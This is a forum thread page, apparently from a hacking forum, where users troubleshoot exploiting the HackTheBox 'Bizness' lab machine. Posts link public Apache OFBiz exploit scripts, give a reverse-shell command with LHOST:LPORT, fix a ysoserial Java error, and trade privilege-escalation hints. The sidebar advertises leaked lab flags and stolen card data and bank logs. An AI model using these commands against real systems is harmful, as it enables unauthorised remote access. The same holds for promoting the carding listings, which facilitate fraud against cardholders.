Temporary Advertisements:
Ad
Ad
Ad
Bizness - HTB
by paven - Saturday January 6, 2024 at 01:03 PM
#11
(Jan 06, 2024, 08:28 PM)ElBakhaw Wrote:
(Jan 06, 2024, 08:26 PM)betecito Wrote:
(Jan 06, 2024, 08:20 PM)ElBakhaw Wrote:
(Jan 06, 2024, 08:13 PM)betecito Wrote:
(Jan 06, 2024, 08:07 PM)ElBakhaw Wrote: got user


anyone get something for root ?

I'm not sure but...

ofbiz@bizness:~/l$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/home/ofbiz/l/python3 cap_setuid=eip

not vulnerable

btw did you manage to get a good shell ? mine breaks after 2 minutes it's soooo annoying

yes, https://github.com/abdoghazy2015/ofbiz-C...exploit.py shell option
shell option

thanks !

idk why but got error

Error while generating or serializing payload
java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0x5a9ae579) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x5a9ae579
        at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
        at ysoserial.payloads.CommonsBeanutils1.getObject(CommonsBeanutils1.java:20)
        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Please make sure from data

install openjdk 11

sudo update-alternatives --config java                           
Existen 2 opciones para la alternativa java (que provee /usr/bin/java).

  Selección  Ruta                                        Prioridad  Estado
------------------------------------------------------------
* 0            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo automático
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java  1111      modo manual
  2            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo manual

and then exploit work fine

sorry for my English
Reply
#12
used pwnbox , for some reason kali vm didnt like java sdk install
Reply
#13
(Jan 06, 2024, 08:48 PM)mobilehack Wrote:
(Jan 06, 2024, 08:43 PM)betecito Wrote:
(Jan 06, 2024, 08:28 PM)ElBakhaw Wrote:
(Jan 06, 2024, 08:26 PM)betecito Wrote:
(Jan 06, 2024, 08:20 PM)ElBakhaw Wrote: not vulnerable

btw did you manage to get a good shell ? mine breaks after 2 minutes it's soooo annoying

yes, https://github.com/abdoghazy2015/ofbiz-C...exploit.py shell option
shell option

thanks !

idk why but got error

Error while generating or serializing payload
java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0x5a9ae579) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x5a9ae579
        at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
        at ysoserial.payloads.CommonsBeanutils1.getObject(CommonsBeanutils1.java:20)
        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Please make sure from data

install openjdk 11

sudo update-alternatives --config java                           
Existen 2 opciones para la alternativa java (que provee /usr/bin/java).

  Selección  Ruta                                        Prioridad  Estado
------------------------------------------------------------
* 0            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo automático
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java  1111      modo manual
  2            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo manual

and then exploit work fine

sorry for my English

What payload did you use in the exploit? nothing seems to work in mine (using Java11)

python3 exploit.py https://bizness.htb shell LHOST:LPORT
Reply
#14
(Jan 06, 2024, 08:57 PM)ElBakhaw Wrote: but even with this python exploit, shell always expire like in 2 minutes Sad


I think it's the machine's fault. I have normalized the shell but it is very slow
Reply
#15
in my case it only works with shell option
Reply
#16
(Jan 06, 2024, 09:05 PM)mobilehack Wrote:
(Jan 06, 2024, 08:53 PM)betecito Wrote:
(Jan 06, 2024, 08:48 PM)mobilehack Wrote:
(Jan 06, 2024, 08:43 PM)betecito Wrote:
(Jan 06, 2024, 08:28 PM)ElBakhaw Wrote: thanks !

idk why but got error

Error while generating or serializing payload
java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0x5a9ae579) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x5a9ae579
        at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
        at ysoserial.payloads.CommonsBeanutils1.getObject(CommonsBeanutils1.java:20)
        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Please make sure from data

install openjdk 11

sudo update-alternatives --config java                           
Existen 2 opciones para la alternativa java (que provee /usr/bin/java).

  Selección  Ruta                                        Prioridad  Estado
------------------------------------------------------------
* 0            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo automático
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java  1111      modo manual
  2            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo manual

and then exploit work fine

sorry for my English

What payload did you use in the exploit? nothing seems to work in mine (using Java11)

python3 exploit.py https://bizness.htb shell LHOST:LPORT

Tried that one, it always gives me `Not Sure Worked or not`, what url are you using? `/webtools/control/xmlrpc` ?

https://bizness.htb

python3 exploit.py https://bizness.htb shell LHOST:LPORT 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Not Sure Worked or not

but work
Reply
#17
maybe logrotate for root?
Reply
#18
this worked well for me https://github.com/jakabakos/Apache-OFBi...ion-Bypass
Reply
#19
Any hints for the root flag?
Reply
#20
Anyone got any further at the PE??
I run linpeas which showed that /opt/ofbiz/gradlew is being called by a process and is also executable and writable but I have not got any further.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 457 121,787 23 minutes ago
Last Post: jiqmug
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 166 34,845 2 hours ago
Last Post: meomeothantai
  CC,CVV,VBV,NON VBV ,DUMPS ,FULLZ,BANK LOGS (FULL INFO) BEST LINKABLES @RICKBUTLER Ballerwailer4G 0 75 6 hours ago
Last Post: Ballerwailer4G
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 110 14,313 11 hours ago
Last Post: Kazahk
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 85 11,298 11 hours ago
Last Post: Kazahk

Forum Jump:


 Users browsing this forum: 10 Guest(s)